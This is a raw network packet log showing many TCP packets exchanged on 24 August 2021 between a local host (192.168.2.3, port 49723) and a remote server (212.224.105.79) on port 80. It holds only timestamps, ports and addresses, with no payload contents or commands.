Aug 24, 2021 14:01:35.453342915 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.453347921 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453363895 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453376055 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453391075 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453398943 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.453408003 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453423023 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453433037 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.453438997 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453454018 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453469992 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453481913 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.453485012 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453502893 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453516960 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.453556061 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.454904079 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.454930067 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.454946041 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.454961061 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.454977036 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.454993010 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455015898 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.455028057 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455044031 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455053091 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.455060959 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455075979 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455092907 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455108881 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455131054 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.455138922 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455156088 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455164909 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.455172062 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455195904 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455204964 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.455210924 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455223083 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455240011 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455245972 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.455250978 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455262899 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455276966 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.455279112 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455295086 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455310106 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455318928 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.455328941 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455346107 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455357075 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.455360889 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455378056 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455394030 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455410004 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455424070 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.455425024 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455440998 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455459118 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455466032 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.455476999 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455487967 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455503941 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455507040 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.455521107 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455538034 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.455539942 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455558062 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455573082 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455579996 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.455589056 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455605030 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455620050 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455624104 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.455636024 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455663919 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455667973 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.455693007 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455713034 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.455724955 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455739975 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455748081 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.455758095 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455774069 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455787897 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.455789089 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455806017 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455821037 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455837965 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.455838919 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455856085 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455871105 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455878019 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.455893993 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455909967 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455925941 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455931902 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.455941916 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455965996 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455966949 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.455981970 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.455996990 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.456006050 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.456015110 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.456032038 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.456048012 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.456048965 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.456068039 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.456084967 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.456099033 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.456099033 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.456115007 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.456131935 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.456132889 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.456146955 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.456162930 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.456173897 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.456177950 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.456191063 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.456202030 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.456207991 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.456213951 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.456226110 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.456238031 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.456247091 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.456253052 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.456268072 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.456284046 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.456299067 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.456300974 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.456317902 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.456335068 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.456343889 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.456346035 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.456357956 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.456370115 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.456389904 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.456433058 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.456650972 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.476202965 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476229906 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476243019 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476255894 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476269960 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476280928 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476293087 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476309061 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476320982 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.476325035 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476340055 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476355076 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476370096 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476380110 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.476387978 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476417065 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476433039 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.476435900 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476452112 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476464033 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.476469040 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476484060 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476495981 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.476500034 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476521015 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476527929 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.476536989 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476553917 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476557970 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.476569891 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476588964 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476589918 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.476607084 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476623058 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476639986 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476655006 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476666927 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.476671934 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476686954 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476702929 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476722002 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476737976 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.476738930 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476753950 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476769924 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476771116 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.476787090 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476800919 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.476803064 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476819038 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476831913 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.476835012 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.476864100 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.477703094 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.477725029 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.477741957 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.477756977 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.477760077 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.477771997 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.477787971 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.477797031 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.477802992 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.477818012 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.477833033 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.477850914 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.477852106 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.477886915 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.478271008 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.478288889 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.478305101 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.478331089 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.478334904 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.478363991 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.478379965 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.478405952 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.478636980 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.478656054 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.478684902 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.478701115 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.478718042 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.478733063 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.478744984 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.478751898 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.478769064 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.478777885 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.478784084 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.478800058 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.478816032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.478820086 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.478831053 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.478847027 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.478849888 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.478863001 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.478880882 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.478880882 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.478899002 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.478914976 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.478923082 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.478929996 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.478945971 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.478960991 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.478976011 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.478984118 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.478992939 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479011059 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479027987 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479031086 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.479043961 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479059935 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479062080 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.479077101 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479091883 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479106903 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479140043 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479155064 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479173899 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479191065 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479206085 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479222059 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479253054 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479269981 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479285002 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479304075 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479321003 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479336023 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479351044 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479366064 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479381084 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479397058 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479412079 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479430914 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479446888 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479463100 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479477882 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479494095 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479509115 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479525089 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479532003 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.479541063 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479559898 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479576111 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479590893 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479605913 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479620934 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479635954 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479650974 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479652882 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.479666948 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479686022 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479693890 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.479702950 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479717970 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479737997 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.479743004 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479758024 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479773045 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.479773998 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479789972 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479804993 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.479856968 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.479912043 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.482856035 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.500255108 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500283003 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500303984 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500324965 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500340939 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.500344038 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500365019 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500382900 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.500385046 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500411034 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500432968 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500442028 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.500452995 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500473976 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500477076 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.500494003 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500507116 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.500541925 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.500585079 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500606060 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500626087 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500689030 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500715971 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500735044 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.500735998 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500740051 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.500756025 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500771999 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.500777006 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500797987 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500817060 CEST	80	49723	212.224.105.79	192.168.2.3
